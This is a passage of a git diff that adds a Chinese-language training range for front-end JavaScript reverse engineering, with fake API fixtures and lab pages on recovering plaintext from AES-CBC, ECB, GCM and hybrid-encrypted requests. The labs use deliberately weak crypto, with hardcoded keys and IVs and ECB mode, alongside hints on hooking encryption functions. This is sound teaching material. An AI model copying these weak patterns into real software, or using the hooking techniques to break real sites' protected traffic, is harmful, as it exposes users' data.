"2025-01-31T10:15:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1002 b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1002 new file mode 100644 index 0000000..8003947 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1002 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1002, + "name": "李四", + "email": "lisi@company.com", + "department": "市场部", + "encryptedPhone": "U2FsdGVkX183M4bw9qh4jJo7SJLZxPN+jKKqxdsjpII=", + "encryptedIdCard": "U2FsdGVkX18iEY9CSXbsW4BOE8dKeHrQbuv8jRanjce0AzRCZ3zYnESQhNLYsrYj", + "encryptedBankCard": "U2FsdGVkX1/NKn7zOdrAu/jyndYCwBef8KefRNcIg1atqb7ajVpWfBRk8MtR433z", + "encryptedAddress": "U2FsdGVkX18c7zS/H+Uq76KjgotHkJIHC74djFGbo6WkmC2GEJ42WCQfxDXVYY5R87TWJE/w+SfrGQMmtyDDYg==", + "createdAt": "2023-02-20T09:45:00Z", + "lastLogin": "2025-01-31T09:30:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1003 b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1003 new file mode 100644 index 0000000..290a835 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1003 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1003, + "name": "王五", + "email": "wangwu@company.com", + "department": "财务部", + "encryptedPhone": "U2FsdGVkX19G5GWtbM1TYc9cQqbl0mxePC9cI8Pn4oI=", + "encryptedIdCard": "U2FsdGVkX180bcR4UhAet7fF7HrOlDboacmzLdzSFZqyMBSKIxMCeApUagfal9bH", + "encryptedBankCard": "U2FsdGVkX18eEs1ooJ3U3bt3iE35AI5HrR8DtAtr/sHdCyaAklV9xdFuv37tPLwe", + "encryptedAddress": "U2FsdGVkX18iR2TgyxPlE31yftcx69C9dK3Wploj7twyBqGE12wErlXpRVG5yMqHoGJhVOEOlOpdIOamrMqf2A==", + "createdAt": "2023-03-10T14:20:00Z", + "lastLogin": "2025-01-30T16:45:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1004 b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1004 new file mode 100644 index 0000000..f5fdb71 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/user-details-1004 @@ -0,0 +1,18 @@ +{ + "success": true, + "message": "获取用户信息成功", + "data": { + "id": 1004, + "name": "赵六", + "email": "zhaoliu@company.com", + "department": "人事部", + "encryptedPhone": "U2FsdGVkX18Itx0bQxK3OneM/UDoK1drNJqiZV5SCVc=", + "encryptedIdCard": "U2FsdGVkX1+HG4svOx2Dfe2OMInwEr6B9thUBwmkh2Csrxlo1jw8qhiBqDQV1mNt", + "encryptedBankCard": "U2FsdGVkX1/YoZ6cUDDDrhRdPXVX4HOc3Bm/QyvuDkfPwLYWmqcqGO8MZA1VPbSN", + "encryptedAddress": "U2FsdGVkX18WMyasubCLsM0qzeajRr/l3X32iuuQR09thj9OcN9rg/0oedYt6TyJSEefkpKuArVV9o77nHYU8w==", + "createdAt": "2023-04-05T11:10:00Z", + "lastLogin": "2025-01-29T14:20:00Z", + "status": "正常" + }, + "timestamp": "2025-01-31T12:45:00.000Z" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-documentary-0 b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-documentary-0 new file mode 100644 index 0000000..9a34075 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-documentary-0 @@ -0,0 +1,12 @@ +{ + "video_type": "documentary", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+0SIsNbJQlTwLXo1SzbzQvYWJjZGVmZ2hpams3NDU2Nzg5MGFiY2RlZmdoaWpr", + "iv": "fedcba0987654321fedcba0987654321", + "encryption_method": "AES-128-CBC", + "segment_size": 1048576, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-live-stream-0 b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-live-stream-0 new file mode 100644 index 0000000..f7ce33a --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-live-stream-0 @@ -0,0 +1,12 @@ +{ + "video_type": "live-stream", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+1TJtOcKRmUwMYp2T0czRvYWJjZGVmZ2hpams4NTY3ODkwMWFiY2RlZmdoaWpr", + "iv": "0123456789abcdef0123456789abcdef", + "encryption_method": "AES-128-CBC", + "segment_size": 262144, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-0 b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-0 new file mode 100644 index 0000000..ef59af1 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-0 @@ -0,0 +1,12 @@ +{ + "video_type": "movie-action", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+8QGqKZHMjRwJVm9QxZzNvYWJjZGVmZ2hpams1MjM0NTY3ODkwYWJjZGVmZ2hpams=", + "iv": "1234567890abcdef1234567890abcdef", + "encryption_method": "AES-128-CBC", + "segment_size": 524288, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-1 b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-1 new file mode 100644 index 0000000..d53dd63 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-1 @@ -0,0 +1,12 @@ +{ + "video_type": "movie-action", + "segment_id": 1, + "segment_name": "segment_001.ts", + "encrypted_data": "U2FsdGVkX1+7QHpLZIMjSwJWm0QyazOvYWJjZGVmZ2hpams2MzQ1Njc4OTBhYmNkZWZnaGlqaw==", + "iv": "2345678901bcdef12345678901bcdef1", + "encryption_method": "AES-128-CBC", + "segment_size": 498765, + "duration": 30, + "timestamp": 1738252830, + "content_type": "video/mp2t" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-2 b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-2 new file mode 100644 index 0000000..cd8ea9d --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-movie-action-2 @@ -0,0 +1,12 @@ +{ + "video_type": "movie-action", + "segment_id": 2, + "segment_name": "segment_002.ts", + "encrypted_data": "U2FsdGVkX1+6RIqMaJQkTwLXo2SzbzQvYWJjZGVmZ2hpams4NDU2Nzg5MGFiY2RlZmdoaWpr", + "iv": "3456789012cdef123456789012cdef12", + "encryption_method": "AES-128-CBC", + "segment_size": 512345, + "duration": 30, + "timestamp": 1738252860, + "content_type": "video/mp2t" +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-series-drama-0 b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-series-drama-0 new file mode 100644 index 0000000..756cdf9 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/video-segment-series-drama-0 @@ -0,0 +1,12 @@ +{ + "video_type": "series-drama", + "segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+9RHrLaIMkSwKWn0RyazOvYWJjZGVmZ2hpams2MzQ1Njc4OTBhYmNkZWZnaGlqaw==", + "iv": "abcdef1234567890abcdef1234567890", + "encryption_method": "AES-128-CBC", + "segment_size": 387456, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/src/main/resources/static/form-body-encrypt.html b/JS-hook/src/main/resources/static/form-body-encrypt.html new file mode 100644 index 0000000..8214bf0 --- /dev/null +++ b/JS-hook/src/main/resources/static/form-body-encrypt.html @@ -0,0 +1,275 @@ + + + + + + Form Body Parameter Encryption + + + + + + + + + + diff --git a/JS-hook/src/main/resources/static/header-sign.html b/JS-hook/src/main/resources/static/header-sign.html new file mode 100644 index 0000000..a0d0004 --- /dev/null +++ b/JS-hook/src/main/resources/static/header-sign.html @@ -0,0 +1,906 @@ + + + + + + Request Header Signing + + + + + +
+
+

API安全认证平台

+

Request Header Signing Case - 请求头签名验证

+
+ +
+

🔐 选择API接口

+ +
+
+ 💳 +

支付接口

+

处理支付请求,需要高级别的安全验证和签名保护

+
+
+ 💸 +

转账接口

+

银行转账操作,要求严格的身份验证和请求完整性

+
+
+ 🔒 +

敏感数据接口

+

访问敏感信息,需要多重安全验证和访问控制

+
+
+ ⚙️ +

管理员接口

+

系统管理操作,需要最高级别的权限验证和审计

+
+
+ + +
+

💳 支付接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

💸 转账接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

🔒 敏感数据接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

⚙️ 管理员接口

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/hex-body-encrypt.html b/JS-hook/src/main/resources/static/hex-body-encrypt.html new file mode 100644 index 0000000..be6cd4b --- /dev/null +++ b/JS-hook/src/main/resources/static/hex-body-encrypt.html @@ -0,0 +1,432 @@ + + + + + + Hex Body Encryption + + + + + +
+
+

数据安全传输

+

Hex Body Encryption Case - 整个请求体十六进制加密

+
+ +
+

🔐 安全数据提交表单

+ +
+
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+ + +
+ +
+
+ + +
+
+ + +
+
+ + +
+
+ + + +
+ + + + diff --git a/JS-hook/src/main/resources/static/hex-response-decrypt.html b/JS-hook/src/main/resources/static/hex-response-decrypt.html new file mode 100644 index 0000000..83b11cb --- /dev/null +++ b/JS-hook/src/main/resources/static/hex-response-decrypt.html @@ -0,0 +1,542 @@ + + + + + + Hex Response Decryption + + + + + +
+
+

机密数据查询系统

+

Hex Response Decryption Case - 整个响应体十六进制解密

+
+ +
+

🔍 选择查询类型

+ +
+
+

💰 财务报表

+

查询公司财务数据和报表信息

+
+
+

👥 员工信息

+

查询员工详细信息和薪资数据

+
+
+

🏢 客户资料

+

查询客户信息和交易记录

+
+
+

📊 项目数据

+

查询项目进度和预算信息

+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/index.html b/JS-hook/src/main/resources/static/index.html new file mode 100644 index 0000000..f1dc65b --- /dev/null +++ b/JS-hook/src/main/resources/static/index.html @@ -0,0 +1,400 @@ + + + + + + 前端协议拆解训练场 + + + + +
+ + +
+
+
+
综合训练 · Spring Boot 版本入口
+

把 JS 混淆、Hook 与协议拆解放进一个统一靶场

+

+ 这里聚合了三条核心训练线:前端逆向、接口协议拆解、XHR / Fetch Hook 实战。 + 我们已经把常见题型基本铺满,下一阶段重点会放在后台管理、判题、做题记录和微服务网关联动上。 +

+ +
+
+
+
+ -- + 当前题目总数 +
+
+ 3 + 训练分区 +
+
+ -- + 接口联动题 +
+
+ -- + 高阶题数量 +
+
+
+

推荐上手顺序

+
    +
  • 先走 `JS 逆向训练`,熟悉 payload、反调试与 source map 缺失定位。
  • +
  • 再走 `协议与加解密`,补齐 AES、RSA、SM2、SM4 等常见协议拆包。
  • +
  • 最后进入 `XHR / Hook 实战`,在真实请求链路里练习签名、加密与解包。
  • +
+
+
+
+
+ +
+
+
+

训练分区

+

三条分区覆盖主流前端逆向题型、协议拆包题型与接口联动题型。

+
+
+
+
+
+
🧠
+ JS 逆向训练 +
+

从代码还原到运行时追踪

+

覆盖动态执行、字符串数组、控制流平坦化、JSFuck、反调试、动态签名与无 source map 定位。

+
+ 偏静态分析 + -- 题 +
+ 查看分区 → +
+
+
+
🔐
+ 协议与加解密 +
+

算法题面基本齐全

+

覆盖 AES-CBC / ECB / GCM、AES-RSA、RSA、DES、3DES、SM2、SM4、SM2+SM4 以及多种传输形态。

+
+ 偏协议拆包 + -- 题 +
+ 查看分区 → +
+
+
+
🪝
+ XHR / Hook 实战 +
+

更贴近真实前端接口链路

+

包含 query、form、JSON、header、cookie、Hex、Protobuf、拦截器、视频分片等经典 Hook 题。

+
+ 接口联动 + -- 题 +
+ 查看分区 → +
+
+
+ + + +
+
+
+

下一阶段缺口

+

题型大类已经基本齐了,后面重点是把“题目集合”升级成“可运营靶场平台”。

+
+
+
+
+

后台管理

+

补题目增删改、难度管理、标签管理、答案开关与题目发布流程。

+
+
+

统一判题

+

校验是否真正拿到明文、复现 sign 或定位到关键 Hook 点,而不只是静态浏览题面。

+
+
+

做题记录

+

接入 SQLite 持久化提交历史、学习进度;后续再按需要补 Redis 做 nonce 与重放窗口。

+
+
+

网关联动

+

补 Spring Cloud Gateway、业务服务与真实业务流,向完整链路靶场靠拢。

+
+
+
+ + +
+ + + + diff --git a/JS-hook/src/main/resources/static/interceptor-encryption.html b/JS-hook/src/main/resources/static/interceptor-encryption.html new file mode 100644 index 0000000..ba0e44e --- /dev/null +++ b/JS-hook/src/main/resources/static/interceptor-encryption.html @@ -0,0 +1,790 @@ + + + + + + Interceptor Encryption + + + + + +
+
+

企业数据中心

+

Interceptor Encryption Case - 拦截器自动签名加密

+
+ +
+

🔄 API请求拦截器控制台

+ +
+ 🛡️ 拦截器状态: 已启用 - 自动为所有请求添加签名参数 +
+ +
+
+ + + + +
+
+ + + +
+
+ +
+
+ 拦截器状态: + 已启用 +
+
+ 总请求数: + 0 +
+
+ 成功请求: + 0 +
+
+ 失败请求: + 0 +
+
+ 签名验证率: + 100% +
+
+ +

📡 API服务列表

+
+
+ 👥 +

用户服务

+

用户信息查询和管理

+
待请求
+
+
+ 📦 +

订单服务

+

订单创建和状态查询

+
待请求
+
+
+ 💳 +

支付服务

+

支付处理和账单管理

+
待请求
+
+
+ 📊 +

库存服务

+

商品库存和仓储管理

+
待请求
+
+
+ 📈 +

分析服务

+

数据分析和报表生成

+
待请求
+
+
+ 🔔 +

通知服务

+

消息推送和通知管理

+
待请求
+
+
+
+ +
+

📋 请求日志

+
+
+ 系统初始化完成 - 拦截器已就绪,等待API请求... +
+
+
+ + +
+ + + + diff --git a/JS-hook/src/main/resources/static/js-labs.html b/JS-hook/src/main/resources/static/js-labs.html new file mode 100644 index 0000000..121f46d --- /dev/null +++ b/JS-hook/src/main/resources/static/js-labs.html @@ -0,0 +1,392 @@ + + + + + + 题库总入口 - 前端协议拆解训练场 + + + + +
+ + +
+
+
题型大类基本齐全
+

现在缺的更多是“平台能力”,不是新题型名字

+

+ 当前题库已经覆盖 JS 混淆/反混淆、XHR Hook、Hex、Protobuf、动态签名、国密、混合加密和多种传输形态。 + 所以后续扩建重点会偏向后台管理、统一判题、做题记录和微服务网关联动。 +

+ +
+
+
+ -- + 题目总数 +
+
+ -- + 高阶题 +
+
+ -- + 接口联动题 +
+
+ 3 + 训练分区 +
+
+
+ +
+
+
+

题库浏览

+

可以按分区筛选,也可以直接看每题属于静态分析、训练页还是接口联动。

+
+
+ + + + +
+
+
+
题库加载中…
+
+
+ +
+
+
+

当前仍未补齐的能力

+

对标参考仓库,题型层面已经基本齐了,差距主要在平台化和系统化。

+
+
+
+
+
后台管理
+

缺题目配置、难度调整、答案开关、标签管理和发布流程。

+
+
+
统一判题
+

缺“是否真的 Hook 到点 / 是否还原明文 / 是否复现签名”的自动验题。

+
+
+
用户与记录
+

缺用户系统、做题记录、排行榜、提交历史与学习进度。

+
+
+
数据库持久化
+

当前改走 SQLite 轻量持久化;如后续需要再补 Redis 支撑 nonce、防重放窗口和日志。

+
+
+
微服务链路
+

缺 Gateway、业务服务、下游服务透传与完整业务流靶场。

+
+
+
前后端分离
+

缺独立学员端 / 管理端界面,目前仍主要是静态题页入口。

+
+
+
+ + +
+ + + + diff --git a/JS-hook/src/main/resources/static/json-body-field-encrypt.html b/JS-hook/src/main/resources/static/json-body-field-encrypt.html new file mode 100644 index 0000000..b87060c --- /dev/null +++ b/JS-hook/src/main/resources/static/json-body-field-encrypt.html @@ -0,0 +1,343 @@ + + + + + + JSON Body Field Encryption + + + + + +
+
+

用户信息提交

+

JSON Body Field Encryption Case - 敏感字段加密传输

+
+ +
+
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+
+ + +
+
+ + +
+
+ +
+ + +
+ +
+ + +
+ + +
+ + + +
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-cbc-basic.html b/JS-hook/src/main/resources/static/labs/aes-cbc-basic.html new file mode 100644 index 0000000..98c8a20 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-cbc-basic.html @@ -0,0 +1,108 @@ + + + + + + AES-CBC Basic + + + + +
+
+ ← 返回题库 +

AES-CBC Basic

+

目标:补齐最基础的 AES-CBC 场景。重点练习定位固定 key、固定 iv、明文 JSON 和真正进入 AES 前的字符串。

+
+ 参考方向:GalaxyDemo / AesCbc + 技术点:AES-CBC / 固定 iv + 推荐动作:Hook JSON.stringify / AES.encrypt +
+
+ +
+
+

运行时代码片段

+
function encryptOrder(body) {
+  const key = CryptoJS.enc.Utf8.parse('AesCbcKey-260321');
+  const iv = CryptoJS.enc.Utf8.parse('AesCbcIv-260321!');
+  return CryptoJS.AES.encrypt(JSON.stringify(body), key, {
+    iv,
+    mode: CryptoJS.mode.CBC,
+    padding: CryptoJS.pad.Pkcs7
+  }).ciphertext.toString(CryptoJS.enc.Base64);
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交核心业务字段,格式:orderId|amount|channel

+ +
+
+ +
+

解题提示

+
    +
  1. 这类题最适合先 Hook CryptoJS.AES.encrypt 的第一个参数。
  2. +
  3. 如果抓到的是对象,继续盯 JSON.stringify
  4. +
  5. 固定 iv 的场景在实战里不少见,是最适合入门的基线题。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-cbc-bidirectional.html b/JS-hook/src/main/resources/static/labs/aes-cbc-bidirectional.html new file mode 100644 index 0000000..c6c2a2d --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-cbc-bidirectional.html @@ -0,0 +1,101 @@ + + + + + + AES-CBC Bidirectional + + + + +
+
+ ← 返回题库 +

AES-CBC Bidirectional

+

目标:补双向密文交互。请求体整体 AES-CBC,加密响应也再走一层 AES-CBC,更接近真实网关式前后端协议。

+
+ 扩展方向:双向报文 + 技术点:Request + Response + 推荐动作:Hook fetch body 和响应解密函数 +
+
+ +
+
+

请求逻辑

+
const req = { traceId: 'trace-6601', op: 'query-balance', uid: 'u-77' };
+const reqCipher = aesCbc(JSON.stringify(req), reqKey, reqIv);
+fetch('/api/balance', { body: JSON.stringify({ data: reqCipher }) });
+
+ +
+

响应逻辑

+
const resp = { resultCode: '00', balance: 9950, currency: 'CNY' };
+const respCipher = aesCbc(JSON.stringify(resp), respKey, respIv);
+return { data: respCipher, iv: btoa(respIv) };
+
+
+ +
+

模拟交互

+
正在生成...
+
+
+ +
+

提交答案

+

请提交请求和响应的关键字段,格式:traceId|resultCode|balance

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-cbc-form.html b/JS-hook/src/main/resources/static/labs/aes-cbc-form.html new file mode 100644 index 0000000..d3a2326 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-cbc-form.html @@ -0,0 +1,104 @@ + + + + + + AES-CBC Form Variant + + + + +
+
+ ← 返回题库 +

AES-CBC Form Variant

+

目标:补齐 AesCbcForm 形态。重点观察表单字段如何被编码成 x-www-form-urlencoded 字符串,再整体进入 AES-CBC。

+
+ 参考方向:GalaxyDemo / AesCbcForm + 技术点:Form urlencoded + 推荐动作:Hook URLSearchParams / form serializer +
+
+ +
+
+

运行时代码片段

+
const form = {
+  username: 'alice',
+  scene: 'otp-login',
+  otp: '662211',
+  client: 'h5'
+};
+const plain = new URLSearchParams(form).toString();
+const cipher = CryptoJS.AES.encrypt(plain, key, { iv, mode: CBC });
+fetch('/api/login', {
+  method: 'POST',
+  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+  body: 'data=' + encodeURIComponent(cipher)
+});
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:username|scene|otp

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-cbc-formdata.html b/JS-hook/src/main/resources/static/labs/aes-cbc-formdata.html new file mode 100644 index 0000000..5de0abe --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-cbc-formdata.html @@ -0,0 +1,112 @@ + + + + + + AES-CBC FormData + + + + +
+
+ ← 返回题库 +

AES-CBC FormData

+

目标:补齐 multipart / FormData 形态。练习重点是从 FormData 里提取字段,再看它是如何被序列化进 AES-CBC 的。

+
+ 参考方向:GalaxyDemo / AesCbcFormData + 技术点:FormData / multipart + 推荐动作:Hook FormData.append / entries +
+
+ +
+
+

运行时代码片段

+
const fd = new FormData();
+fd.set('bizNo', 'BIZ-8821');
+fd.set('category', 'invoice');
+fd.set('fileToken', 'up-20260321-k9');
+fd.set('operator', 'alice');
+const ordered = Array.from(fd.entries()).map(([k, v]) => `${k}=${v}`).join('&');
+const cipher = CryptoJS.AES.encrypt(ordered, key, { iv, mode: CryptoJS.mode.CBC });
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交三个关键字段,格式:bizNo|category|fileToken

+ +
+
+ +
+

解题提示

+
    +
  1. 这题最有价值的 Hook 点是 FormData.append / set
  2. +
  3. 很多上传接口不会直接把文件内容加密,而是先加密业务字段和令牌。
  4. +
  5. 把字段顺序抓准,往往比盯密文本身更重要。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-cbc-query.html b/JS-hook/src/main/resources/static/labs/aes-cbc-query.html new file mode 100644 index 0000000..f8beaa0 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-cbc-query.html @@ -0,0 +1,98 @@ + + + + + + AES-CBC Query Variant + + + + +
+
+ ← 返回题库 +

AES-CBC Query Variant

+

目标:补齐 AesCbcQuery 形态。重点观察业务对象如何先被序列化成查询串,再整体进入 AES-CBC,最后塞进 URL 的单个密文字段。

+
+ 参考方向:GalaxyDemo / AesCbcQuery + 技术点:Query transport + 推荐动作:Hook URLSearchParams / AES.encrypt +
+
+ +
+
+

运行时代码片段

+
const biz = { keyword: 'laptop', tenant: 'acme-shop', page: 3 };
+const plain = new URLSearchParams(biz).toString();
+const key = CryptoJS.enc.Utf8.parse('AesQueryKey-0321');
+const iv = CryptoJS.enc.Utf8.parse('AesQueryIv-0321!');
+const cipher = CryptoJS.AES.encrypt(plain, key, {
+  iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7
+}).ciphertext.toString(CryptoJS.enc.Base64);
+const url = `/api/search?q=${encodeURIComponent(cipher)}&ts=1711117788`;
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:keyword|tenant|page

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-ecb-basic.html b/JS-hook/src/main/resources/static/labs/aes-ecb-basic.html new file mode 100644 index 0000000..1f3268a --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-ecb-basic.html @@ -0,0 +1,103 @@ + + + + + + AES-ECB Basic + + + + +
+
+ ← 返回题库 +

AES-ECB Basic

+

目标:识别 ECB 模式的典型特征。重点观察“没有 iv”“固定 key”“同一明文重复块特征明显”这些线索。

+
+ 参考方向:GalaxyDemo / AesEcb + 技术点:AES-ECB / 无 iv + 推荐动作:先认模式,再抓明文 +
+
+ +
+
+

运行时代码片段

+
function encryptScene(body) {
+  const key = CryptoJS.enc.Utf8.parse('AesEcbKey-260321');
+  return CryptoJS.AES.encrypt(JSON.stringify(body), key, {
+    mode: CryptoJS.mode.ECB,
+    padding: CryptoJS.pad.Pkcs7
+  }).ciphertext.toString(CryptoJS.enc.Base64);
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交明文里的三个关键字段,格式:scene|role|flag

+ +
+
+ +
+

解题提示

+
    +
  1. 这题故意不放 iv,就是在训练 ECB 模式识别。
  2. +
  3. 你仍然应该回到加密函数入参,而不是试图直接暴力猜密文。
  4. +
  5. ECB 更适合当算法识别题,不适合在真实业务里继续使用。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-gcm-bidirectional.html b/JS-hook/src/main/resources/static/labs/aes-gcm-bidirectional.html new file mode 100644 index 0000000..871b4c7 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-gcm-bidirectional.html @@ -0,0 +1,113 @@ + + + + + + AES-GCM Bidirectional + + + +
+
+ ← 返回题库 +

AES-GCM Bidirectional

+

目标:补双向 AES-GCM 场景。请求和响应都带有 ivaad,更贴近移动端和 H5 的完整协议封包。

+
+ 扩展方向:AES-GCM 双向报文 + 技术点:Request + Response + AAD + 推荐动作:Hook TextEncoder / crypto.subtle +
+
+ +
+
+

请求逻辑

+
const req = { traceId: 'gcm-req-09', op: 'create-ticket', count: 3 };
+const aad = 'req:aad:v1';
+const out = await crypto.subtle.encrypt({ name:'AES-GCM', iv, additionalData:aadBytes }, key, reqBytes);
+
+ +
+

响应逻辑

+
const resp = { resultCode: '00', ticket: 'TK-2031', payloadSize: 3 };
+const aad = 'resp:aad:v1';
+const out = await crypto.subtle.encrypt({ name:'AES-GCM', iv, additionalData:aadBytes }, key, respBytes);
+
+
+ +
+

模拟交互

+
正在生成...
+
+
+ +
+

提交答案

+

请提交请求和响应关键字段,格式:traceId|resultCode|payloadSize

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-gcm-json.html b/JS-hook/src/main/resources/static/labs/aes-gcm-json.html new file mode 100644 index 0000000..f54dafd --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-gcm-json.html @@ -0,0 +1,119 @@ + + + + + + AES-GCM JSON Envelope + + + +
+
+ ← 返回题库 +

AES-GCM JSON Envelope

+

目标:从一个典型的 JSON 封包里还原加密前业务参数。重点关注 ivaad、明文序列化与真正进入 crypto.subtle.encrypt 的字节流。

+
+ 参考方向:GalaxyDemo + 技术点:AES-GCM / AAD + 推荐动作:Hook TextEncoder.encode +
+
+ +
+
+

运行时代码片段

+
async function pack(data) {
+  const rawKey = new TextEncoder().encode('galaxy-gcm-demo!');
+  const iv = Uint8Array.from([7, 1, 1, 1, 0, 2, 4, 0, 0, 3, 1, 9]);
+  const aad = new TextEncoder().encode('x-client=lab-7');
+  const plain = new TextEncoder().encode(JSON.stringify(data));
+  const key = await crypto.subtle.importKey('raw', rawKey, 'AES-GCM', false, ['encrypt']);
+  const out = await crypto.subtle.encrypt({ name: 'AES-GCM', iv, additionalData: aad }, key, plain);
+  return { iv, aad, out };
+}
+
+ +
+

模拟流量

+
正在生成...
+
+ +
+
+
+ +
+

提交答案

+

请提交加密前业务 JSON 里的三个核心字段,格式:uid|action|amount

+ +
+ + +
+
+ +
+

解题提示

+
    +
  1. 先盯住 JSON.stringify 前后的对象。
  2. +
  3. 再看 TextEncoder.encode 进入的真实字符串。
  4. +
  5. 最后确认 ivaad 只是封包辅助字段,不是业务字段本身。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/aes-rsa-hybrid-plus.html b/JS-hook/src/main/resources/static/labs/aes-rsa-hybrid-plus.html new file mode 100644 index 0000000..0751ad9 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/aes-rsa-hybrid-plus.html @@ -0,0 +1,129 @@ + + + + + + AES-RSA Hybrid Plus + + + + +
+
+ ← 返回题库 +

AES-RSA Hybrid Plus

+

目标:定位混合加密报文里的业务明文、会话密钥包装和签名基串。为了便于浏览器静态演示,这一题把 RSA 封装简化成 mock 包装,但保留了真实的封包层次与字段关系。

+
+ 参考方向:encrypt-labs / GalaxyDemo + 技术点:混合加密 / 签名基串 + 推荐动作:Hook AES 入参与 sign base +
+
+ +
+
+

运行时代码片段

+
const sessionKey = 'HybridKey-260321';
+const iv = 'HybridIv-260321!';
+const signBase = [biz.bizCode, biz.amount, biz.account.slice(-4), 'hybrid-lab'].join('|');
+const encrypted = CryptoJS.AES.encrypt(
+  JSON.stringify(biz),
+  CryptoJS.enc.Utf8.parse(sessionKey),
+  { iv: CryptoJS.enc.Utf8.parse(iv), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }
+);
+return {
+  wrappedKey: mockRsaWrap(sessionKey),
+  data: encrypted.ciphertext.toString(CryptoJS.enc.Base64),
+  sign: CryptoJS.SHA256(signBase).toString().slice(0, 24)
+};
+
+ +
+

模拟流量

+
正在生成...
+
+ +
+
+
+ +
+

提交答案

+

请提交签名基串里的三个关键字段,格式:bizCode|amount|accountLast4

+ +
+ + +
+
+ +
+

解题提示

+
    +
  1. 不要被 wrappedKey 吸走注意力,先找明文对象和 sign base。
  2. +
  3. 这类题更容易从 JSON.stringify、AES 封装函数和签名 helper 三处下手。
  4. +
